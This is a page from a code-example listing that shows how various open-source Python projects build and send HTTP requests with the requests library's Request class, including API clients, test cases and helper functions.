        # If the target schema was a ref, resolve it.
        if is_ref(model_schema):
            model_schema = self._schema.resolve_ref(model_schema['$ref'])

        # If the target schema has patternProperties, the response is a plain
        # old dict, so just return that. I'm not sure if this is the right way
        # of handling this; we may want Model to understand patternProperties
        # instead.
        if 'patternProperties' in model_schema:
            return response_body

        # Create a Model subclass representing the expected return object.
        # FIXME: this feels super jank for a name, but is there a better way?
        name = model_schema['title'].split('-', 1)[-1]
        name = re.sub(r'[^\w]', '', name)

        # Python 3 excepts text class names; Python 2 expects bytes. No way to
        # to work around it without version checkking.
        if six.PY2:
            name = name.encode('ascii', 'ignore')

        cls = model_factory(name, self._schema, model_schema)

        if target_type == 'multi':
            return [cls(**i) for i in response_body]
        else:
            return cls(**response_body)

Example 136

Project: pywinrm Source File: transport.py
    def send_message(self, message):
        # TODO support kerberos session with message encryption

        if not self.session:
            self.session = self.build_session()

        # urllib3 fails on SSL retries with unicode buffers- must send it a byte string
        # see https://github.com/shazow/urllib3/issues/717
        if isinstance(message, unicode_type):
            message = message.encode('utf-8')

        request = requests.Request('POST', self.endpoint, data=message)
        prepared_request = self.session.prepare_request(request)

        try:
            response = self.session.send(prepared_request, timeout=self.read_timeout_sec)
            response_text = response.text
            response.raise_for_status()
            return response_text
        except requests.HTTPError as ex:
            if ex.response.status_code == 401:
                raise InvalidCredentialsError("the specified credentials were rejected by the server")
            if ex.response.content:
                response_text = ex.response.content
            else:
                response_text = ''
            # Per http://msdn.microsoft.com/en-us/library/cc251676.aspx rule 3,
            # should handle this 500 error and retry receiving command output.
            if b'http://schemas.microsoft.com/wbem/wsman/1/windows/shell/Receive' in message and b'Code="2150858793"' in response_text:
                raise WinRMOperationTimeoutError()

            error_message = 'Bad HTTP response returned from server. Code {0}'.format(ex.response.status_code)

            raise WinRMTransportError('http', error_message)

Example 137

Project: gist Source File: gist.py
Function: list
    def list(self):
        """Returns a list of the users gists as GistInfo objects

        Returns:
            a list of GistInfo objects

        """
        # Define the basic request. The per_page parameter is set to 100, which
        # is the maximum github allows. If the user has more than one page of
        # gists, this request object will be modified to retrieve each
        # successive page of gists.
        request = requests.Request(
                'GET',
                'https://api.github.com/gists',
                headers={
                    'Accept-Encoding': 'identity, deflate, compress, gzip',
                    'User-Agent': 'python-requests/1.2.0',
                    'Accept': 'application/vnd.github.v3.base64',
                    },
                params={
                    'access_token': self.token,
                    'per_page': 100,
                    },
                )

        # Github provides a 'link' header that contains information to
        # navigate through a users page of gists. This regex is used to
        # extract the URLs contained in this header, and to find the next page
        # of gists.
        pattern = re.compile(r'<([^>]*)>; rel="([^"]*)"')

        gists = []
        while True:
            # Retrieve the next page of gists
            response = self.send(request)
            for gist in response.json():
                gists.append(
                        GistInfo(
                            gist['id'],
                            gist['public'],
                            gist['description'],
                            )
                        )

            try:
                link = response.headers['link']

                # Search for the next page of gist. If a 'next' page is found,
                # the URL is set to this new page and the iteration continues.
                # If there is no next page, return the list of gists.
                for result in pattern.finditer(link):
                    url = result.group(1)
                    rel = result.group(2)
                    if rel == 'next':
                        request.url = url
                        break
                else:
                    return gists

            except Exception:
                break

        return gists

Example 138

Project: depy Source File: depy.py
    def dep_prep(self, query, method, authsession=None, token=None, params=False):
        """
        Sets up common headers for DEP commands using the 'requests' Request
        class to combine our auth token, required headers and other data
        to generate a correct HTTP request to be sent to the DEP API.

        Required parameters:
            - query (The API request to use)
            - method (The HTTP method to use: GET/PUT/POST)
            - token (The auth session token retrieved by get_auth_token())
        Optional parameters:
            - authsession (expects an OAuth1Session instance)
            - params (query string to send instead of JSON data)
        """
        req = Request(method, self.dep_api_url + query)
        prep = None

        # Check whether we're requesting an auth session token or doing a regular
        # API call with DEP.
        if authsession:
            prep = authsession.prepare_request(req)
        # Regular API calls require the X-ADM-Auth-Session header to be set
        elif token:
            prep = req.prepare()
            prep.headers['X-ADM-Auth-Session'] = token
        # If we received no token or token is None we have a problem, halt.
        else:
            print "No token found, we must exit now..."
            sys.exit(-1)

        # Common required headers for DEP API calls, we use v2 as v1 is deprecated
        prep.headers['X-Server-Protocol-Version'] = '2'

        # A few (or just one) calls use a query string instead of JSON so we skip
        # setting the Content-Type header for those.
        if not params:
            prep.headers['Content-Type'] = 'application/json;charset=UTF8'

        return prep

Example 139

Project: activesoup Source File: html.py
Function: submit
    def submit(self, data: dict, suppress_unspecified=False):
        try:
            action = self._soup['action']
        except KeyError:
            action = self._raw_response.request.url
        try:
            method = self._soup['method']
        except KeyError:
            method = 'POST'

        to_submit = {}
        if not suppress_unspecified:
            for i in self._soup.find_all('input'):
                try:
                    to_submit[i['name']] = i['value']
                except KeyError:
                    pass

        to_submit.update(data)

        req = requests.Request(method=method, url=action, data=to_submit)
        return self._driver.do(req)

Example 140

Project: python-dockercloud Source File: test_http.py
    @mock.patch('dockercloud.api.http.Request', return_value=requests.Request('GET', 'http://fake.com'))
    @mock.patch.object(dockercloud.api.http.Session, 'send')
    def test_http_send_request(self, mock_send, mock_Request):
        json_obj = {'key': 'value'}
        mock_send.return_value = fake_resp(lambda: (None, json_obj))
        self.assertRaises(dockercloud.ApiError, send_request, 'METHOD', 'path', data='data')
        headers = {'Content-Type': 'application/json', 'User-Agent': 'python-dockercloud/%s' % dockercloud.__version__}
        headers.update(dockercloud.auth.get_auth_header())

        mock_send.return_value = fake_resp(lambda: (200, json_obj))
        self.assertEqual(json_obj, send_request('METHOD', 'path'))

        mock_send.return_value = fake_resp(lambda: (204, json_obj))
        self.assertIsNone(send_request('METHOD', 'path'))

        mock_send.return_value = fake_resp(lambda: (401, json_obj))
        self.assertRaises(dockercloud.AuthError, send_request, 'METHOD', 'path')

        mock_send.return_value = fake_resp(lambda: (500, json_obj))
        self.assertRaises(dockercloud.ApiError, send_request, 'METHOD', 'path')

Example 141

Project: py-translate Source File: translator.py
def push_url(interface):
    '''
    Decorates a function returning the url of translation API.
    Creates and maintains HTTP connection state

    Returns a dict response object from the server containing the translated
    text and metadata of the request body

    :param interface: Callable Request Interface
    :type interface: Function
    '''

    @functools.wraps(interface)
    def connection(*args, **kwargs):
        """
        Extends and wraps a HTTP interface.

        :return: Response Content
        :rtype: Dictionary
        """
        session = Session()
        session.mount('http://',  HTTPAdapter(max_retries=2))
        session.mount('https://', HTTPAdapter(max_retries=2))

        request  = Request(**interface(*args, **kwargs))
        prepare  = session.prepare_request(request)
        response = session.send(prepare, verify=True)

        if response.status_code != requests.codes.ok:
            response.raise_for_status()

        cleanup = re.subn(r',(?=,)', '', response.content.decode('utf-8'))[0]

        return json.loads(cleanup.replace(r'\xA0', r' ').replace('[,', '[1,'), encoding='UTF-8')

    return connection

Example 142

Project: threatconnect-python Source File: ThreatConnect.py
    def api_request(self, ro, log=True):
        """ """
        api_response = None
        fail_msg = None
        h_content_length = None
        h_content_type = None
        start = datetime.now()

        #
        # enable activity log
        #
        if self._activity_log:
            ro.enable_activity_log()

        #
        # prepare request
        #
        url = '{0!s}{1!s}'.format(self._api_url, ro.request_uri)
        api_request = Request(ro.http_method, url, data=ro.body, params=ro.payload)
        request_prepped = api_request.prepare()

        #
        # generate headers
        #
        ro.set_path_url(request_prepped.path_url)
        self._api_request_headers(ro)
        request_prepped.prepare_headers(ro.headers)

        #
        # Debug
        #
        if log:
            self.tcl.debug('request_object: {0!s}'.format(ro))
            self.tcl.debug('url: {0!s}'.format(url))
            self.tcl.debug('path url: {0!s}'.format(request_prepped.path_url))

        #
        # api request (gracefully handle temporary communications issues with the API)
        #
        for i in range(1, self._api_retries + 1, 1):
            try:
                api_response = self._session.send(
                    request_prepped, verify=self._verify_ssl, timeout=self._api_request_timeout,
                    proxies=self._proxies, stream=False)
                break
            except exceptions.ReadTimeout as e:
                self.tcl.error('Error: {0!s}'.format(e))
                self.tcl.error('The server may be experiencing delays at the moment.')
                self.tcl.info('Pausing for {0!s} seconds to give server time to catch up.'.format(self._api_sleep))
                time.sleep(self._api_sleep)
                self.tcl.info('Retry {0!s} ....'.format(i))

                if i == self._api_retries:
                    self.tcl.critical('Exiting: {0!s}'.format(e))
                    raise RuntimeError(e)
            except exceptions.ConnectionError as e:
                self.tcl.error('Error: {0!s}'.format(e))
                self.tcl.error('Connection Error. The server may be down.')
                self.tcl.info('Pausing for {0!s} seconds to give server time to catch up.'.format(self._api_sleep))
                time.sleep(self._api_sleep)
                self.tcl.info('Retry {0!s} ....'.format(i))
                if i == self._api_retries:
                    self.tcl.critical('Exiting: {0!s}'.format(e))
                    raise RuntimeError(e)
            except socket.error as e:
                self.tcl.critical('Exiting: {0!s}'.format(e))
                raise RuntimeError(e)

        #
        # header values
        #
        if 'content-length' in api_response.headers:
            h_content_length = api_response.headers['content-length']
        if 'content-type' in api_response.headers:
            h_content_type = api_response.headers['content-type']

        #
        # raise exception on *critical* errors
        #
        non_critical_errors = [
            b'The MD5 for this File is invalid, a File with this MD5 already exists',  # 400 (application/json)
            b'The SHA-1 for this File is invalid, a File with this SHA-1 already exists',  # 400 (application/json)
            b'The SHA-256 for this File is invalid, a File with this SHA-256 already exists',  # 400 (application/json)
            b'The requested resource was not found',  # 404 (application/json)
            b'Could not find resource for relative',  # 500 (text/plain)
            b'The requested Security Label was not removed - access was denied',  # 401 (application/json)
        ]

        #
        # TODO: work out some logic to improve the API error handling, possible area where API could improve
        #

        # valid status codes 200, 201, 202
        # if api_response.status_code in [400, 401, 403, 500, 503]:
        if api_response.status_code not in [200, 201, 202]:
            # check for non critical errors that have bad status codes
            nce_found = False
            fail_msg = api_response.content
            for nce in non_critical_errors:
                # api_response_dict['message'] not in non_critical_errors:
                if re.findall(nce, api_response.content):
                    nce_found = True
                    break

            if ro.failure_callback is not None:
                ro.failure_callback(api_response.status_code)

            # raise error on bad status codes that are not defined as nce
            if not nce_found:
                self.tcl.critical('Status Code: {0:d}'.format(api_response.status_code))
                self.tcl.critical('Failed API Response: {0!s}'.format(api_response.content))
                if ro.failure_callback is not None:
                    ro.failure_callback(api_response.status_code)
                raise RuntimeError(api_response.content)

        #
        # set response encoding (best guess)
        #
        if api_response.encoding is None:
            api_response.encoding = api_response.apparent_encoding

        #
        # Debug
        #
        if log:
            self.tcl.debug('url: %s', api_response.url)
            self.tcl.debug('status_code: %s', api_response.status_code)
            self.tcl.debug('content-length: %s', h_content_length)
            self.tcl.debug('content-type: %s', h_content_type)

        #
        # Report
        #
        self.report.add_api_call()  # count api calls
        self.report.add_request_time(datetime.now() - start)
        if log:
            self.tcl.debug('Request Time: {0!s}'.format(datetime.now() - start))

        if self._enable_report:
            report_entry = ReportEntry()
            report_entry.add_request_object(ro)
            report_entry.set_request_url(api_response.url)
            report_entry.set_status_code(api_response.status_code)
            report_entry.set_failure_msg(fail_msg)
            self.report.add(report_entry)

        #
        # return response
        #
        return api_response

Example 143

Project: weboob Source File: browsers.py
Function: build_request
    def build_request(self, url, referrer=None, data_encoding=None, **kwargs):
        """
        Does the same job as open(), but returns a Request without
        submitting it.
        This allows further customization to the Request.
        """
        if isinstance(url, requests.Request):
            req = url
            url = req.url
        else:
            req = requests.Request(url=url, **kwargs)

        # guess method
        if req.method is None:
            if req.data:
                req.method = 'POST'
            else:
                req.method = 'GET'

        # convert unicode strings to proper encoding
        if isinstance(req.data, unicode) and data_encoding:
            req.data = req.data.encode(data_encoding)
        if isinstance(req.data, dict) and data_encoding:
            req.data = OrderedDict([(k, v.encode(data_encoding) if isinstance(v, unicode) else v)
                                    for k, v in req.data.iteritems()])

        if referrer is None:
            referrer = self.get_referrer(self.url, url)
        if referrer:
            # Yes, it is a misspelling.
            req.headers.setdefault('Referer', referrer)

        return req

Example 144

Project: AkamaiOPEN-edgegrid-python Source File: test_edgegrid.py
    def runTest(self):
        auth = EdgeGridAuth(
            client_token=self.testdata['client_token'],
            client_secret=self.testdata['client_secret'],
            access_token=self.testdata['access_token'],
            headers_to_sign=self.testdata['headers_to_sign'],
            max_body=self.testdata['max_body']
        )

        headers = { }
        if 'headers' in self.testcase['request']:
            for h in self.testcase['request']['headers']:
                for k,v in h.items():
                    headers[k] = v

        request = requests.Request(
            method=self.testcase['request']['method'],
            url=urljoin(self.testdata['base_url'],self.testcase['request']['path']),   
            headers=headers,
            data=self.testcase['request'].get('data') if self.testcase['request'].get('data') \
                                                      else None
        )

        try:
            auth_header = auth.make_auth_header(
                request.prepare(), self.testdata['timestamp'], self.testdata['nonce']
            )
        except Exception as e:
            logger.debug('Got exception from make_auth_header', exc_info=True)
            self.assertEquals(str(e), self.testcase['failsWithMessage'])
            return

        self.assertEqual(auth_header, self.testcase['expectedAuthorization'])

Example 145

Project: cgstudiomap Source File: pygeocoder.py
Function: add_signature
    def add_signature(self, request):
        """
        Add the client_id and signature parameters to the URL
        Based on http://gmaps-samples.googlecode.com/svn/trunk/urlsigning/urlsigner.py
        See https://developers.google.com/maps/docuementation/business/webservices/auth#signature_examples
        :return: requests.Request object of type 'GET'
        """
        inputStr = request.prepare().url + '&client=' + self.client_id
        url = urlparse(inputStr)
        urlToSign = url.path + "?" + url.query
        decodedKey = base64.urlsafe_b64decode(self.private_key)
        signature = hmac.new(
            decodedKey,
            urlToSign.encode('utf-8'),
            hashlib.sha1)
        encodedSignature = base64.urlsafe_b64encode(signature.digest())
        urlSigned = inputStr + '&signature=' + encodedSignature.decode('utf-8')
        return requests.Request(
            'GET',
            url=urlSigned,
            headers={
                'User-Agent': Geocoder.USER_AGENT
            })

Example 146

Project: beets Source File: fetchart.py
def _logged_get(log, *args, **kwargs):
    """Like `requests.get`, but logs the effective URL to the specified
    `log` at the `DEBUG` level.

    Use the optional `message` parameter to specify what to log before
    the URL. By default, the string is "getting URL".

    Also sets the User-Agent header to indicate beets.
    """
    # Use some arguments with the `send` call but most with the
    # `Request` construction. This is a cheap, magic-filled way to
    # emulate `requests.get` or, more pertinently,
    # `requests.Session.request`.
    req_kwargs = kwargs
    send_kwargs = {}
    for arg in ('stream', 'verify', 'proxies', 'cert', 'timeout'):
        if arg in kwargs:
            send_kwargs[arg] = req_kwargs.pop(arg)

    # Our special logging message parameter.
    if 'message' in kwargs:
        message = kwargs.pop('message')
    else:
        message = 'getting URL'

    req = requests.Request('GET', *args, **req_kwargs)
    with requests.Session() as s:
        s.headers = {'User-Agent': 'beets'}
        prepped = s.prepare_request(req)
        log.debug('{}: {}', message, prepped.url)
        return s.send(prepped, **send_kwargs)

Example 147

Project: linode-python Source File: api.py
Function: requests_request
  def requests_request(url, fields, headers):
    return requests.Request(method="POST", url=url, headers=headers, data=fields)

Example 148

Project: yandex-tank Source File: resource.py
Function: get_request_info
    def get_request_info(self):
        logger.info('Trying to get info about resource %s', self.url)
        req = requests.Request('HEAD',
                               self.url,
                               headers={'Accept-Encoding': 'identity'})
        session = requests.Session()
        prepared = session.prepare_request(req)
        try:
            self.data_info = session.send(prepared,
                                          verify=False,
                                          allow_redirects=True,
                                          timeout=self.timeout)
        except (requests.exceptions.Timeout,
                requests.exceptions.ConnectionError) as exc:
            logger.warning(
                'Connection error trying to get info about resource %s \n'
                'Exception: %s \n'
                'Retrying...' % (self.url, exc))
            try:
                self.data_info = session.send(prepared,
                                              verify=False,
                                              allow_redirects=True,
                                              timeout=self.timeout)
            except Exception as exc:
                logger.debug(
                    'Connection error trying to get info about resource %s \n'
                    'Traceback:  %s' % (traceback.format_exc(exc), self.url))
                raise RuntimeError(
                    'Connection error trying to get info about resource %s.'
                    'Exception: %s' % (self.url, exc))
        finally:
            session.close()
        try:
            self.data_info.raise_for_status()
        except requests.exceptions.HTTPError as exc:
            if exc.response.status_code == 405:
                logger.info(
                    "Resource storage does not support HEAD method. Ignore proto error and force download file.")
                self.force_download = True
            else:
                raise RuntimeError('Invalid HTTP response '
                                   'trying to get info about resource: %s \n'
                                   'via HttpOpener: %s' % (self.url, exc))

Example 149

Project: cosmic.py Source File: http.py
Function: build_request
    def build_request(self, data=None, url_args=None, headers=None, query=None):

        if url_args is None:
            url_args = {}
        if headers is None:
            headers = {}
        if query is None:
            query = {}

        if data is not None:
            headers["Content-Type"] = "application/json"
            string_data = json.dumps(data.datum)
        else:
            string_data = ""

        url = reverse_werkzeug_url(self.url, url_args)

        if self.query_schema is not None and query:
            query_string = self.query_schema.to_json(query)
            if query_string:
                url += "?%s" % query_string

        return requests.Request(
            method=self.method,
            url=url,
            data=string_data,
            headers=headers)

Example 150

Project: oauth-proxy Source File: lastfm.py
Function: authorize
    def authorize(self, scopes):
        redirect_uri = self.get_redirect_uri('callback')
        params = self.get_authorize_params(redirect_uri, scopes)
        req = requests.Request(url=self.authorize_url, params=params)
        return flask.redirect(req.prepare().url)
See More Examples - Go to Next Page
Page 1 Page 2 Page 3 Selected Page 4